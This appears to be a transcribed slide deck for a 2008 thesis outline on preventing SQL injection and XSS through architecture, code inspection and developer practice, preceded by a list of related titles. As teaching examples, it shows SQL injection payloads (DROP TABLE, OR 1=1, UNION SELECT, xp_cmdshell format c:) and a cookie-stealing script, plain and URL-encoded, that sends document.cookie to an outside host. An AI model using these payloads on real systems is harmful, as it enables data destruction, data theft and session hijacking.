Whatever it takes. Fixing SQLIA and XSS in the process. Diploma Thesis Outline Presentation, Florian Thiel

Similar documents
HashCookies A Simple Recipe

WEB SECURITY p.1

I n p u t. This time. Security. Software. sanitization ); drop table slides. Continuing with. Getting insane with. New attacks and countermeasures:

(System) Integrity attacks System Abuse, Malicious File upload, SQL Injection

Common Websites Security Issues. Ziv Perry

CIS 4360 Secure Computer Systems XSS

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

Abysssec Research. 1) Advisory information. 2) Vulnerability Information

WEB SECURITY: XSS & CSRF

Web insecurity Security strategies General security Listing of server-side risks Language specific security. Web Security.

C1: Define Security Requirements

Web Application Vulnerabilities: OWASP Top 10 Revisited

PHP-security Software lifecycle General Security Webserver security PHP security. Security Summary. Server-Side Web Languages

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

Privacy defense on the Internet. Csaba Kiraly

Finding Vulnerabilities in Web Applications

eb Security Software Studio

SQL Injection. A tutorial based on XVWA

Secure Coding, some simple steps help. OWASP EU Tour 2013

DEFENSIVE PROGRAMMING. Lecture for EDA 263 Magnus Almgren Department of Computer Science and Engineering Chalmers University of Technology

"Charting the Course to Your Success!" Securing.Net Web Applications Lifecycle Course Summary

Lab 5: Web Attacks using Burp Suite

Web Application Security. Philippe Bogaerts

CORS Attacks. Author: Milad Khoshdel Blog: P a g e. CORS Attacks

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

Defend Your Web Applications Against the OWASP Top 10 Security Risks. Speaker Name, Job Title

Web 2.0 and AJAX Security. OWASP Montgomery. August 21 st, 2007

Solutions Business Manager Web Application Security Assessment

Avoiding Web Application Flaws In Embedded Devices. Jake Edge LWN.net URL for slides:

Application vulnerabilities and defences

Web Security. Web Programming.

P2_L12 Web Security Page 1

CS 161 Computer Security

Evaluating the Security Risks of Static vs. Dynamic Websites

RBS NetGain Enterprise Manager Multiple Vulnerabilities of 11

OWASP TOP 10. By: Ilia

MTAT Research Seminar in Cryptography The Security of Mozilla Firefox s Extensions

Introduction to HTTP. Jonathan Sillito

NET 311 INFORMATION SECURITY

Slides adopted from Laurie Williams. OWASP Top Ten. John Slankas

shortcut Tap into learning NOW! Visit for a complete list of Short Cuts. Your Short Cut to Knowledge

The security of Mozilla Firefox s Extensions. Kristjan Krips

MOBILE COMPUTING. Web Applications. (INTRODUCTION, Architecture and Security) Lecture-10 Instructor : Mazhar Hussain

Penetration Test Report

Attacks Against Websites 3 The OWASP Top 10. Tom Chothia Computer Security, Lecture 14

WEB SECURITY: SQL INJECTION

Web Security, Part 2

Excerpts of Web Application Security focusing on Data Validation. adapted for F.I.S.T. 2004, Frankfurt

Application Security through a Hacker s Eyes James Walden Northern Kentucky University

Students should have an understanding and a working knowledge in the following topics, or attend these courses as a pre-requisite:

An analysis of security in a web application development process

The HTTP protocol. Fulvio Corno, Dario Bonino. 08/10/09 http 1

Security and Privacy. SWE 432, Fall 2016 Design and Implementation of Software for the Web

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

01/02/2014 SECURITY ASSESSMENT METHODOLOGIES SENSEPOST 2014 ALL RIGHTS RESERVED

Web Security: Vulnerabilities & Attacks

SECURITY TESTING. Towards a safer web world

CSE361 Web Security. Attacks against the server-side of web applications. Nick Nikiforakis

INF3700 Informasjonsteknologi og samfunn. Application Security. Audun Jøsang University of Oslo Spring 2015

Web Vulnerabilities. And The People Who Love Them

Introduc)on to Computer Networks

Generating String Attack Inputs Using Constrained Symbolic Execution. presented by Kinga Dobolyi

Web Security, Summer Term 2012

Web Security, Summer Term 2012

Secure your Web Applications with AWS WAF & AWS Shield. James Chiang ( 蔣宗恩 ) AWS Solution Architect

Provide you with a quick introduction to web application security Increase you awareness and knowledge of security in general Show you that any

CS 161 Computer Security

Web Application Penetration Testing

Protect Your Application with Secure Coding Practices. Barrie Dempster & Jason Foy JAM306 February 6, 2013

CSE 127 Computer Security

Andrew Muller, Canberra Managing Director, Ionize, Canberra The challenges of Security Testing. Security Testing. Taming the Wild West

Integrity attacks (from data to code): Cross-site Scripting - XSS

Copyright

Web Application Security GVSAGE Theater

OWASP Top 10 Risks. Many thanks to Dave Wichers & OWASP

Web Attacks, con t. CS 161: Computer Security. Prof. Vern Paxson. TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

Outline STRANGER. Background

CSCE 813 Internet Security Case Study II: XSS

SAP Security. BIZEC APP/11 Version 2.0 BIZEC TEC/11 Version 2.0

Vulnerabilities in web applications

CNIT 129S: Securing Web Applications. Ch 12: Attacking Users: Cross-Site Scripting (XSS) Part 2

TIBCO Cloud Integration Security Overview

Applications & Application-Layer Protocols: The Web & HTTP

Malicious Code Analysis II

Engineering Your Software For Attack

EasyCrypt passes an independent security audit

MWR InfoSecurity Advisory. 26 th April Elastic Path Administrative. Quit. Session Hijacking through Embedded XSS

Tutorial: Web Application Security

Fortify Software Security Content 2017 Update 4 December 15, 2017

90% of data breaches are caused by software vulnerabilities.

Integrity attacks (from data to code): Malicious File upload, code execution, SQL Injection

Web Applica+on Security

Securing Production Applications & Data at Runtime. Prevoty

Maximizing the speed of time based SQL injection data retrieval

WebGoat Lab session overview

Don't Trust The Locals: Exploiting Persistent Client-Side Cross-Site Scripting in the Wild

MVC :: Preventing JavaScript Injection Attacks. What is a JavaScript Injection Attack?

WEB VULNERABILITIES. Network Security Report Mohamed Nabil

SQL Injection SPRING 2018: GANG WANG

Application Layer Security

Transcription:

Whatever it takes Fixing SQLIA and XSS in the process Diploma Thesis Outline Presentation, Florian Thiel Seminar Beiträge zum Software Engineering, FU Berlin, 11/06/2008

OWASP Top 10 2007 1. XSS 2. Injection Flaws 3. Malicious File Execution 4. Insecure Direct Object Reference 5. Cross-Site Request Forgery

OWASP Top 10 2007 1. XSS 2. Injection Flaws 3. Malicious File Execution 4. Insecure Direct Object Reference 5. Cross-Site Request Forgery

by xckd: http://xkcd.com/327/

by xckd: http://xkcd.com/327/

SELECT firstname FROM Students WHERE (login = %s ); % login by xckd: http://xkcd.com/327/

SELECT firstname FROM Students WHERE (login = %s ); % login by xckd: http://xkcd.com/327/ SELECT firstname FROM Students WHERE (login = Robert ); DROP TABLE Students; -- );

SQLIA threats data integrity confidentiality new attack vector

UPDATE Users SET password = %s WHERE uid = %s ; % (pw, uid)

UPDATE Users SET password = password WHERE uid = robert OR 1=1; -- ; Integrity

SELECT product FROM Products WHERE productid = %s ; % pid

SELECT product FROM Products WHERE productid = 0 UNION SELECT owner, balance FROM Accounts; -- ; Confidentiality

SELECT product, price FROM products WHERE category = %s ; % category

SELECT product, price FROM products WHERE categoryid = exec master..xp_cmdshell format c: -- ; New Attack Vector

Bad Mitigations PHP: addslashes() IDS blacklisting validation blacklisting

Decent Mitigations stmt = prepare( SELECT name FROM Users WHERE uid = $1 ) db.execute(stmt, uid)

Why it s hard Control Data

More problems validation context!= execution context really tolerant DBs SEL + ECT, anyone? DBs trying to fix illegal SQL

Something different!? http://searchsite/search? keyword= <script>alert( you have been XSSed! )</script>

Something different!? http://searchsite/search? keyword= <script>alert( you have been XSSed! )</script>

This issue isn't just about scripting, and there isn't necessarily anything cross site about it. So why the name? It was coined earlier on when the problem was less understood, and it stuck. Believe me, we have had more important things to do than think of a better name. <g>. -- Marc Slemko, Apache.org

eval( user input ) 1,2 1) the essence of XSS 2) limited only by the execution environment

XSS code injection popular in ECMAScript/Web2.0

Got cookies? <script>document.location='http:// www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>

Got cookies? %3c%73%63%72%69%70%74%3e%64%6f %63%75%6d%65%6e%74%2e%6c%6f %63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e %63%67%69%73%65%63%75%72 %69%74%79%2e%63%6f%6d%2f%63%67%69%2d %62%69%6e %2f%63%6f%6f%6b %69%65%2e%63%67%69%3f%27%20%2b%64%6f %63%75%6d%65%6e%74%2e%63%6f%6f%6b %69%65%3c %2f%73%63%72%69%70%74%3e

The Worm

(Non-working) XSS Mitigations blacklisting of cribs blacklisting of characters

helpful mitigations HTTPOnly cookies Whitelisting of characters

Common flaws HTML/XSS and SQL mix data and control have no well-defined execution environment

Common flaws HTML/XSS and SQL mix data and control have no well-defined execution environment have no API

Failure to sanitize data into a different plane

Safe Query Objects real SQL API adds static types dynamic queries still runtime evaluated

AntiSamy Policy-based sanitation for HTML entities Types (by RegEx) (no semantics)

Another job well done!

GET /en-us/library/aa287673(vs.71).aspx HTTP/1.1 Host: msdn.microsoft.com User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-us; rv: 1.9.0.3) Gecko/2008092414 Firefox/3.0.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.google.de/search?q=http+request+header +example&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en- US:official&client=firefox-a Cache-Control: max-age=0

Hmm, are we missing something here?

Absolutely!

The interesting* part * what my thesis is really about

Make sure that the technical solutions are thoroughly applied

1. Make developers use a reasonable architecture 2. Make developers recognize a weakness when they meet one 3. Make developers find weaknesses 4. Make people actually fix things

1) (Architecture) centralization canonicalization have to be conservative

2) (Recognition) patterns? flawed code examples in the wild

3) (Detection) automated flow analysis code inspection

Code inspection need a reading technique defect-based reading

Artifacts reviewer annotates suspicious code regions e.g. @userinput, @output makes review work visible in the source code and more valuable since annotations can be reused

// @userinput(data) // [insert data into query, ignore non-alphanums] def insertalphanum(query, data): // [make sure data is canonical] c_data = data.tocharset(...) c_data.replace(...)... // [insert data into query] query.prepare(...) query.insert(data...)...

4) (Repair) once weakness is known, developers should be motivated enough focus is on keeping the code secure, minimizing effort

My tasks provide practical architectural assumptions construct effective reading method + awareness of potential weaknesses get a project to adopt my methods

Questions?

This presentation is licensed under a Creative Commons BY-SA license. Attribution for pictures through links. Slides, materials, progress etc. can be found @ http://www.noroute.de/blog/diplomathesis

Thank you!